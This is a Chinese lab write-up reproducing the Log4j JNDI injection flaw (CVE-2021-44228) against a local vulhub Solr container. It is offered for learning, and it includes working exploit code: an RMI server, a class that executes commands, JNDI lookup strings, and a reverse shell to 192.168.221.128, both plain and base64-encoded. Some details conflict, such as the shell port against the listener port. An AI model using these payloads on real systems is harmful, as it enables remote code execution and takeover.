主要内容

CVE-2021-44228 Apache Log4j漏洞复现

0x01.漏洞情况

影响范围:
Apache Log4j 2.x < 2.15.0-rc2

Apache Log4j2某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。

Spring-Boot-strater-log4j2、Apache Struts2、Apache Solr、Apache Flink、Apache Druid、ElasticSearch、Flume、Dubbo、Redis、Logstash、Kafka均受影响。

0x02.组件介绍

RIM

RMI ( Remote Method Invocation , 远程方法调用 ) 是分布式编程中的一个基本思想。实现远程方法调用的技术有很多,例如CORBA、WebService,这两种是独立于编程语言的。而Java RMI是专为Java环境设计的远程方法调用机制,远程服务器实现具体的Java方法并提供接口,客户端本地仅需根据接口类的定义,提供相应的参数即可调用远程方法并获取执行结果,使分布在不同的JVM中的对象的外表和行为都像本地对象一样。

另外,需要知道注册表的概念,说简单一点就是,服务端那里有一个对象,客户端想要调用服务端里的那个对象的方法,而注册表就像一个中间人,服务端会将自己提供的服务的实现类交给这个中间人 , 并公开一个名称 . 任何客户端都可以通过公开的名称找到这个实现类 , 并调用它。

img

LDAP

LDAP(Light Directory Access Portocol),它是基于X.500标准的轻量级目录访问协议。

目录是一个为查询、浏览和搜索而优化的数据库,它成树状结构组织数据,类似文件目录一样。

目录数据库和关系数据库不同,它有优异的读性能,但写性能差,并且没有事务处理、回滚等复杂功能,不适于存储修改频繁的数据。所以目录天生是用来查询的,就好象它的名字一样。

LDAP目录服务是由目录数据库和一套访问协议组成的系统。

JNDI

JNDI全称为Java Naming and Directory Interface,也就是Java命名和目录接口。

既然是接口,那么就必定有其实现,而目前我们Java中使用最多的基本就是rmi和ldap的目录服务系统。

而命名的意思就是,在一个目录系统,它实现了把一个服务名称和对象或命名引用相关联,在客户端,我们可以调用目录系统服务,并根据服务名称查询到相关联的对象或命名引用,然后返回给客户端。

而目录的意思就是在命名的基础上,增加了属性的概念,我们可以想象一个文件目录中,每个文件和目录都会存在着一些属性,比如创建时间、读写执行权限等等,并且我们可以通过这些相关属性筛选出相应的文件和目录。

而JNDI中的目录服务中的属性大概也与之相似,因此,我们就能在使用服务名称以外,通过一些关联属性查找到对应的对象。

总结的来说:JNDI是一个接口,在这个接口下会有多种目录系统服务的实现,我们能通过名称等去找到相关的对象,并把它下载到客户端中来。

image-20220714170015281

注册中心服务

image-20220714170515169

抽象接口,他隔离了具体的资源,使得连接相关更便捷

JNDI则是Java中用于访问LDAP的API ,开发人员使用JNDI完成与LDAP 服务器 之间的通信,即用JNDI来访问LDAP,而不需要和具体的目录服务产品特性打交道。

image-20220714170244335

JNDI动态协议转换
当我们调用lookup()方法时,如果lookup方法的参数像demo中那样是一个uri地址,那么客户端就会去lookup()方法参数指定的uri中加载远程对象

JNDl Naming Reference命名引用
当有客户端通过lookup(“refObj”)获取远程对象时,获取的是一个Reference存根(Stub),由于是
Reference的存根,所以客户端会现在本地的
classpath中去检查是否存在类refClassName,如果不存在则去指定的url动态加载。

当系统使用log4j通过$形式将用户输入的信息打印到日志时﹐那这就会出现JNDI注入漏洞

0x03.漏洞利用原理

利用条件

Java应用引入了log4j-api和log4j-core两个jar包

当系统使用log4j通过$形式将用户输入的信息打印到日志时﹐那这就会出现JNDI注入漏洞

黑客在自己的客户端启动一个带有恶意代码的rmi服务,通过服务端的log4j的漏洞,向服务端的jndi context lookup的时候连接自己的rmi服务器,服务端连接rmi服务器执行lookup的时候会通过rmi查询到该地址指向的引用并且本地实例化这个类,所以在类中的构造方法或者静态代码块中写入逻辑,就会在服务端(jndi rmi过程中的客户端)实例化的时候执行到这段逻辑,导致jndi注入。

·

0x04.漏洞复现

实验环境

  • Windows 11
  • jdk-8u212-windows jdk 1.8.121(理论上JDK 6u211、7u201、8u191之前的版本都行)
  • JNDI-Injection-Exploit
  • log4j-api&log4j-core 2.15.0-rc2
  • docker

本地复现

复现的流程

·

·

server开启一个rmi

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIServer {
public static void main(String[] args) {
try {
// 本地主机上的远程对象注册表Registry的实例,默认端口1099
LocateRegistry.createRegistry(1099);
Registry registry = LocateRegistry.getRegistry();
System.out.println("Create RMI registry on port 1099");
//返回的Java对象
Reference reference = new Reference("HackCode","HackCode",null);
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
// 把远程对象注册到RMI注册服务器上,并命名为hack
registry.bind("hack",referenceWrapper);
} catch (Exception e) {
e.printStackTrace();
}
}
}

恶意的代码库中的hack类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;

/**
* 执行任意的脚本,目前的脚本会使windows服务器打开计算器
*/
public class HackCode {
static {
System.out.println("受害服务器将执行下面命令行");
Process p;
String[] cmd = {"calc"};
try {
p = Runtime.getRuntime().exec(cmd);
InputStream fis = p.getInputStream();
InputStreamReader isr = new InputStreamReader(fis);
BufferedReader br = new BufferedReader(isr);
String line = null;
while((line=br.readLine())!=null) {
System.out.println(line);
}
} catch (IOException e) {
e.printStackTrace();
}
}
}

客户端

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;


public class log4j {
private static final Logger logger = LogManager.getLogger(log4j.class);

public static void main(String[] args) {
//有些高版本jdk需要打开此行代码
//System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");

//模拟填写数据,输入构造好的字符串,使受害服务器打印日志时执行远程的代码 同一台可以使用127.0.0.1
String username = "${jndi:rmi://127.0.0.1:1099/hack}";
//正常打印业务日志
logger.error("username:{}",username);
}
}

docker搭建

我们将受害者和攻击者部署在本地局域网当中

攻击机的ip 192.168.221.128

受害者部署

1
2
3
4
5
6
sudo apt install docker.io
apt install docker-compose
wget https://github.com/vulhub/vulhub/archive/master.zip -O vulhub-master.zip
unzip vulhub-master.zip
cd vulhub-master//log4j//CVE-2021-44228 # 进入需要开启的漏洞路径
docker-compose up -d

image-20221031094500154

访问 http://127.0.0.1:8983/solr/#/

恶意JNDI服务器部署

利用JNDI-Injection-Exploit进行注入,这个工具开启了三个服务,包括RMI、LDAP以及HTTP服务,然后生成JNDI链接

反弹shell

首先我们构造反弹shell用到的命令:(内网的机器反弹到外网机器上从而实现外网主机控制内网主机)

1
bash -i >& /dev/tcp/192.168.221.128/6666 0>&1
  • bash -i打开一个交互式的shell
  • >& 标准错误和标准输出重定向到文件

​ 对于这个>& &> 的解释可以看bash的手册

  • >/dev/tcp bash特性,一种固定的格式调用底层函数打开一个socket,类似还有/dev/udp

  • 0>&1 把输入重定向到标准输出

这样外网的机器就可以获得一个完整的 shell

base64加密

1
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIyMS4xMjgvNjY2NiAwPiYx

可执行程序为jar包,在命令行中运行以下命令:

1
$ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address]

其中:

  • -C - 远程class文件中要执行的命令。

    (可选项 , 默认命令是mac下打开计算器,即"open /Applications/Calculator.app")

  • -A - 服务器地址,可以是IP地址或者域名。

    (可选项 , 默认地址是第一个网卡地址)

1
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIyMS4xMjgvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}" -A "192.168.221.128"

类似下方的截图,会生成服务的链接

img

同时在攻击机设置监听,监听由JNDI-Injection-Exploit恶意类注入后,反弹过来的shell

1
nc -lvp 8787

构造恶意请求

在攻击机访问受害者链接,并加上下方的payload,ldap:192.168.221.128:1389/wna7wt是我开启的ldap服务的地址

1
/solr/admin/cores?action=${jndi:ldap:192.168.221.128:1389/wna7wt}

0x05.参考文献

5 分钟复现 log4J 漏洞,手把手实现 - 腾讯云开发者社区-腾讯云 (tencent.com)

Log4j 漏洞复现_william~的博客-CSDN博客_log4j漏洞复现

JNDI-Injection-Exploit - Welk1n - 博客园 (cnblogs.com)